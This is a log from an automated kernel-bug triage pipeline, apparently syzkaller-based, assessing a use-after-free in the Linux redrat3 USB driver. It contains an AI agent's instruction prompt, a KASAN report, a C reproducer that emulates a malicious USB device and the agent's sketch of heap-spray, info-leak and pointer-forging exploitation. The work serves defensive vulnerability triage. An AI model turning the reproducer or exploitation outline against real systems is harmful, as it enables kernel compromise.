| 0/0 |
2026/08/09 09:06 |
flow |
assessment-security |
3m
Results: map[DenialOfService:true Explanation:**Bug Analysis:**
The bug is a Use-After-Free (UAF) in the `redrat3` driver
(drivers/media/rc/redrat3.c).
During the initialization of the device in `redrat3_dev_probe()`, the driver
allocates a `struct redrat3_dev` object (`rr3`) and initializes an RC (Remote
Control) device by calling `redrat3_init_rc_dev(rr3)`. This function
successfully registers the RC device with the kernel via
`rc_register_device(rc)`.
Following this, the probe function calls `redrat3_enable_detector(rr3)`. If this
function fails (which can happen if a malicious USB device returns an unexpected
status to a control message), the probe function jumps to the error handling
path (`led_free` -> `redrat_free`). The error path frees the `rr3` object via
`redrat3_delete(rr3, ...)`.
However, the error path completely misses unregistering the previously
registered RC device (`rc_unregister_device()` is not called). The RC device is
left registered and exposed to userspace, but its `priv` pointer and
`device_name` pointer still point to the now-freed `rr3` object.
When a userspace process (like `udevd`) reads the `uevent` file of the leaked RC
device, `rc_dev_uevent()` reads `dev->device_name`, triggering a UAF read.
**Exploitability:**
This bug is highly **Exploitable**.
The freed `struct redrat3_dev` object is allocated in the `kmalloc-2k` cache. An
attacker can spray this cache to overwrite the freed object with controlled
data.
1. **Information Leak:** Reading the `uevent` file of the RC device will output
the contents of the `name` field from the sprayed object, allowing the attacker
to leak up to 2048 bytes of kernel memory.
2. **Memory Corruption / Privilege Escalation:** The leaked RC device is fully
functional. An attacker can open the corresponding `/dev/lircX` node and issue
ioctls. For example, calling `LIRC_SET_SEND_CARRIER` will write a 32-bit
controlled value to `rr3->carrier` (a UAF write). Calling `LIRC_TX` will invoke
`redrat3_transmit_ir()`, which dereferences pointers like `rr3->udev` and
`rr3->ep_out` from the freed object. By forging these pointers in the sprayed
object, an attacker can achieve arbitrary memory read/write and hijack the
kernel control flow.
**Triggering:**
Triggering the bug requires plugging in a malicious USB device that
intentionally fails the `redrat3_enable_detector()` check.
- It is a **Peripheral Trigger** because it requires a physical USB device.
- It is **NOT Accessible From Unprivileged Processes** or **User Namespaces**
because unprivileged users cannot emulate or plug in USB devices (which requires
physical access or root privileges to use raw-gadget/vhci).
- It is a **VM Host Trigger** because a malicious KVM host can emulate and
attach this USB device to a Confidential Computing guest to compromise the guest
kernel. Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:true]
|
| 1/1 |
2026/08/09 09:06 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/usb/ch9.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
#define MAX_FDS 30
#define USB_MAX_IFACE_NUM 4
#define USB_MAX_EP_NUM 32
#define USB_MAX_FDS 6
struct usb_endpoint_index {
struct usb_endpoint_descriptor desc;
int handle;
};
struct usb_iface_index {
struct usb_interface_descriptor* iface;
uint8_t bInterfaceNumber;
uint8_t bAlternateSetting;
uint8_t bInterfaceClass;
struct usb_endpoint_index eps[USB_MAX_EP_NUM];
int eps_num;
};
struct usb_device_index {
struct usb_device_descriptor* dev;
struct usb_config_descriptor* config;
uint8_t bDeviceClass;
uint8_t bMaxPower;
int config_length;
struct usb_iface_index ifaces[USB_MAX_IFACE_NUM];
int ifaces_num;
int iface_cur;
};
struct usb_info {
int fd;
struct usb_device_index index;
};
static struct usb_info usb_devices[USB_MAX_FDS];
static struct usb_device_index* lookup_usb_index(int fd)
{
for (int i = 0; i < USB_MAX_FDS; i++) {
if (__atomic_load_n(&usb_devices[i].fd, __ATOMIC_ACQUIRE) == fd)
return &usb_devices[i].index;
}
return NULL;
}
static int usb_devices_num;
static bool parse_usb_descriptor(const char* buffer, size_t length, struct usb_device_index* index)
{
if (length < sizeof(*index->dev) + sizeof(*index->config))
return false;
memset(index, 0, sizeof(*index));
index->dev = (struct usb_device_descriptor*)buffer;
index->config = (struct usb_config_descriptor*)(buffer + sizeof(*index->dev));
index->bDeviceClass = index->dev->bDeviceClass;
index->bMaxPower = index->config->bMaxPower;
index->config_length = length - sizeof(*index->dev);
index->iface_cur = -1;
size_t offset = 0;
while (true) {
if (offset + 1 >= length)
break;
uint8_t desc_length = buffer[offset];
uint8_t desc_type = buffer[offset + 1];
if (desc_length <= 2)
break;
if (offset + desc_length > length)
break;
if (desc_type == USB_DT_INTERFACE && index->ifaces_num < USB_MAX_IFACE_NUM) {
struct usb_interface_descriptor* iface = (struct usb_interface_descriptor*)(buffer + offset);
index->ifaces[index->ifaces_num].iface = iface;
index->ifaces[index->ifaces_num].bInterfaceNumber = iface->bInterfaceNumber;
index->ifaces[index->ifaces_num].bAlternateSetting = iface->bAlternateSetting;
index->ifaces[index->ifaces_num].bInterfaceClass = iface->bInterfaceClass;
index->ifaces_num++;
}
if (desc_type == USB_DT_ENDPOINT && index->ifaces_num > 0) {
struct usb_iface_index* iface = &index->ifaces[index->ifaces_num - 1];
if (iface->eps_num < USB_MAX_EP_NUM) {
memcpy(&iface->eps[iface->eps_num].desc, buffer + offset, sizeof(iface->eps[iface->eps_num].desc));
iface->eps_num++;
}
}
offset += desc_length;
}
return true;
}
static struct usb_device_index* add_usb_index(int fd, const char* dev, size_t dev_len)
{
int i = __atomic_fetch_add(&usb_devices_num, 1, __ATOMIC_RELAXED);
if (i >= USB_MAX_FDS)
return NULL;
if (!parse_usb_descriptor(dev, dev_len, &usb_devices[i].index))
return NULL;
__atomic_store_n(&usb_devices[i].fd, fd, __ATOMIC_RELEASE);
return &usb_devices[i].index;
}
struct vusb_connect_string_descriptor {
uint32_t len;
char* str;
} __attribute__((packed));
struct vusb_connect_descriptors {
uint32_t qual_len;
char* qual;
uint32_t bos_len;
char* bos;
uint32_t strs_len;
struct vusb_connect_string_descriptor strs[0];
} __attribute__((packed));
static const char default_string[] = {
8, USB_DT_STRING,
's', 0, 'y', 0, 'z', 0
};
static const char default_lang_id[] = {
4, USB_DT_STRING,
0x09, 0x04
};
static bool lookup_connect_response_in(int fd, const struct vusb_connect_descriptors* descs,
const struct usb_ctrlrequest* ctrl,
struct usb_qualifier_descriptor* qual,
char** response_data, uint32_t* response_length)
{
struct usb_device_index* index = lookup_usb_index(fd);
uint8_t str_idx;
if (!index)
return false;
switch (ctrl->bRequestType & USB_TYPE_MASK) {
case USB_TYPE_STANDARD:
switch (ctrl->bRequest) {
case USB_REQ_GET_DESCRIPTOR:
switch (ctrl->wValue >> 8) {
case USB_DT_DEVICE:
*response_data = (char*)index->dev;
*response_length = sizeof(*index->dev);
return true;
case USB_DT_CONFIG:
*response_data = (char*)index->config;
*response_length = index->config_length;
return true;
case USB_DT_STRING:
str_idx = (uint8_t)ctrl->wValue;
if (descs && str_idx < descs->strs_len) {
*response_data = descs->strs[str_idx].str;
*response_length = descs->strs[str_idx].len;
return true;
}
if (str_idx == 0) {
*response_data = (char*)&default_lang_id[0];
*response_length = default_lang_id[0];
return true;
}
*response_data = (char*)&default_string[0];
*response_length = default_string[0];
return true;
case USB_DT_BOS:
*response_data = descs->bos;
*response_length = descs->bos_len;
return true;
case USB_DT_DEVICE_QUALIFIER:
if (!descs->qual) {
qual->bLength = sizeof(*qual);
qual->bDescriptorType = USB_DT_DEVICE_QUALIFIER;
qual->bcdUSB = index->dev->bcdUSB;
qual->bDeviceClass = index->dev->bDeviceClass;
qual->bDeviceSubClass = index->dev->bDeviceSubClass;
qual->bDeviceProtocol = index->dev->bDeviceProtocol;
qual->bMaxPacketSize0 = index->dev->bMaxPacketSize0;
qual->bNumConfigurations = index->dev->bNumConfigurations;
qual->bRESERVED = 0;
*response_data = (char*)qual;
*response_length = sizeof(*qual);
return true;
}
*response_data = descs->qual;
*response_length = descs->qual_len;
return true;
default:
break;
}
break;
default:
break;
}
break;
default:
break;
}
return false;
}
typedef bool (*lookup_connect_out_response_t)(int fd, const struct vusb_connect_descriptors* descs,
const struct usb_ctrlrequest* ctrl, bool* done);
static bool lookup_connect_response_out_generic(int fd, const struct vusb_connect_descriptors* descs,
const struct usb_ctrlrequest* ctrl, bool* done)
{
switch (ctrl->bRequestType & USB_TYPE_MASK) {
case USB_TYPE_STANDARD:
switch (ctrl->bRequest) {
case USB_REQ_SET_CONFIGURATION:
*done = true;
return true;
default:
break;
}
break;
}
return false;
}
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_EPS_NUM_MAX 30
#define USB_RAW_EP_NAME_MAX 16
#define USB_RAW_EP_ADDR_ANY 0xff
struct usb_raw_ep_caps {
__u32 type_control : 1;
__u32 type_iso : 1;
__u32 type_bulk : 1;
__u32 type_int : 1;
__u32 dir_in : 1;
__u32 dir_out : 1;
};
struct usb_raw_ep_limits {
__u16 maxpacket_limit;
__u16 max_streams;
__u32 reserved;
};
struct usb_raw_ep_info {
__u8 name[USB_RAW_EP_NAME_MAX];
__u32 addr;
struct usb_raw_ep_caps caps;
struct usb_raw_ep_limits limits;
};
struct usb_raw_eps_info {
struct usb_raw_ep_info eps[USB_RAW_EPS_NUM_MAX];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_DISABLE _IOW('U', 6, __u32)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_READ _IOWR('U', 8, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_VBUS_DRAW _IOW('U', 10, __u32)
#define USB_RAW_IOCTL_EPS_INFO _IOR('U', 11, struct usb_raw_eps_info)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
#define USB_RAW_IOCTL_EP_CLEAR_HALT _IOW('U', 14, __u32)
#define USB_RAW_IOCTL_EP_SET_WEDGE _IOW('U', 15, __u32)
static int usb_raw_open()
{
return open("/dev/raw-gadget", O_RDWR);
}
static int usb_raw_init(int fd, uint32_t speed, const char* driver, const char* device)
{
struct usb_raw_init arg;
strncpy((char*)&arg.driver_name[0], driver, sizeof(arg.driver_name));
strncpy((char*)&arg.device_name[0], device, sizeof(arg.device_name));
arg.speed = speed;
return ioctl(fd, USB_RAW_IOCTL_INIT, &arg);
}
static int usb_raw_run(int fd)
{
return ioctl(fd, USB_RAW_IOCTL_RUN, 0);
}
static int usb_raw_configure(int fd)
{
return ioctl(fd, USB_RAW_IOCTL_CONFIGURE, 0);
}
static int usb_raw_vbus_draw(int fd, uint32_t power)
{
return ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, power);
}
static int usb_raw_ep0_write(int fd, struct usb_raw_ep_io* io)
{
return ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io);
}
static int usb_raw_ep0_read(int fd, struct usb_raw_ep_io* io)
{
return ioctl(fd, USB_RAW_IOCTL_EP0_READ, io);
}
static int usb_raw_event_fetch(int fd, struct usb_raw_event* event)
{
return ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event);
}
static int usb_raw_ep_enable(int fd, struct usb_endpoint_descriptor* desc)
{
return ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, desc);
}
static int usb_raw_ep_disable(int fd, int ep)
{
return ioctl(fd, USB_RAW_IOCTL_EP_DISABLE, ep);
}
static int usb_raw_ep0_stall(int fd)
{
return ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0);
}
#define USB_MAX_PACKET_SIZE 4096
struct usb_raw_control_event {
struct usb_raw_event inner;
struct usb_ctrlrequest ctrl;
char data[USB_MAX_PACKET_SIZE];
};
struct usb_raw_ep_io_data {
struct usb_raw_ep_io inner;
char data[USB_MAX_PACKET_SIZE];
};
static void set_interface(int fd, int n)
{
struct usb_device_index* index = lookup_usb_index(fd);
if (!index)
return;
if (index->iface_cur >= 0 && index->iface_cur < index->ifaces_num) {
for (int ep = 0; ep < index->ifaces[index->iface_cur].eps_num; ep++) {
int rv = usb_raw_ep_disable(fd, index->ifaces[index->iface_cur].eps[ep].handle);
if (rv < 0) {
} else {
}
}
}
if (n >= 0 && n < index->ifaces_num) {
for (int ep = 0; ep < index->ifaces[n].eps_num; ep++) {
int rv = usb_raw_ep_enable(fd, &index->ifaces[n].eps[ep].desc);
if (rv < 0) {
} else {
index->ifaces[n].eps[ep].handle = rv;
}
}
index->iface_cur = n;
}
}
static int configure_device(int fd)
{
struct usb_device_index* index = lookup_usb_index(fd);
if (!index)
return -1;
int rv = usb_raw_vbus_draw(fd, index->bMaxPower);
if (rv < 0) {
return rv;
}
rv = usb_raw_configure(fd);
if (rv < 0) {
return rv;
}
set_interface(fd, 0);
return 0;
}
static volatile long syz_usb_connect_impl(uint64_t speed, uint64_t dev_len, const char* dev,
const struct vusb_connect_descriptors* descs,
lookup_connect_out_response_t lookup_connect_response_out)
{
if (!dev) {
return -1;
}
int fd = usb_raw_open();
if (fd < 0) {
return fd;
}
if (fd >= MAX_FDS) {
close(fd);
return -1;
}
struct usb_device_index* index = add_usb_index(fd, dev, dev_len);
if (!index) {
return -1;
}
char device[32];
sprintf(&device[0], "dummy_udc.%llu", procid);
int rv = usb_raw_init(fd, speed, "dummy_udc", &device[0]);
if (rv < 0) {
return rv;
}
rv = usb_raw_run(fd);
if (rv < 0) {
return rv;
}
bool done = false;
while (!done) {
struct usb_raw_control_event event;
event.inner.type = 0;
event.inner.length = sizeof(event.ctrl);
rv = usb_raw_event_fetch(fd, (struct usb_raw_event*)&event);
if (rv < 0) {
return rv;
}
if (event.inner.type != USB_RAW_EVENT_CONTROL)
continue;
char* response_data = NULL;
uint32_t response_length = 0;
struct usb_qualifier_descriptor qual;
if (event.ctrl.bRequestType & USB_DIR_IN) {
if (!lookup_connect_response_in(fd, descs, &event.ctrl, &qual, &response_data, &response_length)) {
usb_raw_ep0_stall(fd);
continue;
}
} else {
if (!lookup_connect_response_out(fd, descs, &event.ctrl, &done)) {
usb_raw_ep0_stall(fd);
continue;
}
response_data = NULL;
response_length = event.ctrl.wLength;
}
if ((event.ctrl.bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD &&
event.ctrl.bRequest == USB_REQ_SET_CONFIGURATION) {
rv = configure_device(fd);
if (rv < 0) {
return rv;
}
}
struct usb_raw_ep_io_data response;
response.inner.ep = 0;
response.inner.flags = 0;
if (response_length > sizeof(response.data))
response_length = 0;
if (event.ctrl.wLength < response_length)
response_length = event.ctrl.wLength;
response.inner.length = response_length;
if (response_data)
memcpy(&response.data[0], response_data, response_length);
else
memset(&response.data[0], 0, response_length);
if (event.ctrl.bRequestType & USB_DIR_IN) {
rv = usb_raw_ep0_write(fd, (struct usb_raw_ep_io*)&response);
} else {
rv = usb_raw_ep0_read(fd, (struct usb_raw_ep_io*)&response);
}
if (rv < 0) {
return rv;
}
}
sleep_ms(200);
return fd;
}
static volatile long syz_usb_connect(volatile long a0, volatile long a1, volatile long a2, volatile long a3)
{
uint64_t speed = a0;
uint64_t dev_len = a1;
const char* dev = (const char*)a2;
const struct vusb_connect_descriptors* descs = (const struct vusb_connect_descriptors*)a3;
return syz_usb_connect_impl(speed, dev_len, dev, descs, &lookup_connect_response_out_generic);
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// syz_usb_connect arguments: [
// speed: usb_device_speed = 0x0 (8 bytes)
// dev_len: len = 0x39 (8 bytes)
// dev: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYBLOB: buffer: {12 01 00 02 00 00 00 40 2a 11 01 00 00 01 01 02 03 01 09 02 27 00 01 01 00 80 fa 09 04 00 00 03 ff ff ff 00 07 05 81 02 40 00 00 07 05 82 02 40 00 00 07 05 03 02 40 00 00} (length 0x39)
// }
// }
// }
// conn_descs: nil
// ]
// returns fd_usb
memcpy((void*)0x200000000100, "... [truncated large byte array] ...", 57);
syz_usb_connect(/*speed=*/0, /*dev_len=*/0x39, /*dev=*/0x200000000100, /*conn_descs=*/0);
return 0;
}
]
|
| 2/1 |
2026/08/09 09:06 |
action |
kernel-checkouter |
0m
Results: map[KernelSrc:/app/workdir/cache/src/0bd482cc9fd6a5c3cdf3e7f636a3906397462859]
|
| 3/1 |
2026/08/09 09:06 |
action |
kernel-builder |
0m
Results: map[KernelObj:/app/workdir/cache/build/c6c7b2d9e4d1d7e5a1cffa7566d7d92fb1f9026a]
|
| 4/1 |
2026/08/09 09:06 |
action |
codesearch-prepare |
0m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/08/09 09:06 |
agent |
expert |
3m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:true]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
==================================================================
BUG: KASAN: slab-use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: slab-use-after-free in string+0x471/0x4d0 lib/vsprintf.c:730
Read of size 1 at addr ffff88807aced758 by task udevd/4977
CPU: 1 UID: 0 PID: 4977 Comm: udevd Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x13d/0x4b0 mm/kasan/report.c:482
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x471/0x4d0 lib/vsprintf.c:730
vsnprintf+0x422/0x1300 lib/vsprintf.c:2945
add_uevent_var+0x183/0x3a0 lib/kobject_uevent.c:682
rc_dev_uevent+0x17d/0x1c0 drivers/media/rc/rc-main.c:1632
dev_uevent+0x2f1/0x870 drivers/base/core.c:2779
uevent_show+0x1ca/0x3a0 drivers/base/core.c:2826
dev_attr_show+0x52/0xa0 drivers/base/core.c:2487
sysfs_kf_seq_show+0x217/0x3f0 fs/sysfs/file.c:65
seq_read_iter+0x32f/0x1270 fs/seq_file.c:231
kernfs_fop_read_iter+0x46c/0x610 fs/kernfs/file.c:290
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x82e/0xb40 fs/read_write.c:574
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f168bca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007ffda5a592a0 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f168c37c880 RCX: 00007f168bca7407
RDX: 0000000000001000 RSI: 0000557455235f80 RDI: 000000000000000c
RBP: 00007f168bdefff0 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 000000000000000a
R13: 00007f168bdefea0 R14: 0000000000000000 R15: 0000557455215a60
</TASK>
Allocated by task 1222:
kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
kasan_save_track+0x14/0x30 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__kmalloc_cache_noprof+0x2e5/0x6c0 mm/slub.c:5489
_kmalloc_noprof include/linux/slab.h:988 [inline]
_kzalloc_noprof include/linux/slab.h:1309 [inline]
redrat3_dev_probe+0x326/0x2b50 drivers/media/rc/redrat3.c:1023
usb_probe_interface+0x303/0x8f0 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:628 [inline]
really_probe+0x241/0xa60 drivers/base/dd.c:706
__driver_probe_device+0x20e/0x450 drivers/base/dd.c:868
driver_probe_device+0x4a/0x140 drivers/base/dd.c:898
__device_attach_driver+0x1df/0x320 drivers/base/dd.c:1026
bus_for_each_drv+0x159/0x1e0 drivers/base/bus.c:500
__device_attach+0x1e4/0x4d0 drivers/base/dd.c:1098
device_initial_probe+0xaf/0xd0 drivers/base/dd.c:1153
bus_probe_device+0x64/0x160 drivers/base/bus.c:620
device_add+0x121d/0x1970 drivers/base/core.c:3772
usb_set_configuration+0xd97/0x1c60 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0xa1/0xe0 drivers/usb/core/generic.c:250
usb_probe_device+0xef/0x400 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:628 [inline]
really_probe+0x241/0xa60 drivers/base/dd.c:706
__driver_probe_device+0x20e/0x450 drivers/base/dd.c:868
driver_probe_device+0x4a/0x140 drivers/base/dd.c:898
__device_attach_driver+0x1df/0x320 drivers/base/dd.c:1026
bus_for_each_drv+0x159/0x1e0 drivers/base/bus.c:500
__device_attach+0x1e4/0x4d0 drivers/base/dd.c:1098
device_initial_probe+0xaf/0xd0 drivers/base/dd.c:1153
bus_probe_device+0x64/0x160 drivers/base/bus.c:620
device_add+0x121d/0x1970 drivers/base/core.c:3772
usb_new_device.cold+0x685/0x115c drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x30a3/0x4a60 drivers/usb/core/hub.c:5953
process_one_work+0xa23/0x1940 kernel/workqueue.c:3322
process_scheduled_works kernel/workqueue.c:3405 [inline]
worker_thread+0x5ef/0xe50 kernel/workqueue.c:3486
kthread+0x370/0x450 kernel/kthread.c:436
ret_from_fork+0x72b/0xd50 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Freed by task 1222:
kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
kasan_save_track+0x14/0x30 mm/kasan/common.c:78
kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2677 [inline]
slab_free mm/slub.c:6377 [inline]
kfree+0x22b/0x6c0 mm/slub.c:6692
redrat3_delete drivers/media/rc/redrat3.c:466 [inline]
redrat3_dev_probe+0x107a/0x2b50 drivers/media/rc/redrat3.c:1124
usb_probe_interface+0x303/0x8f0 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:628 [inline]
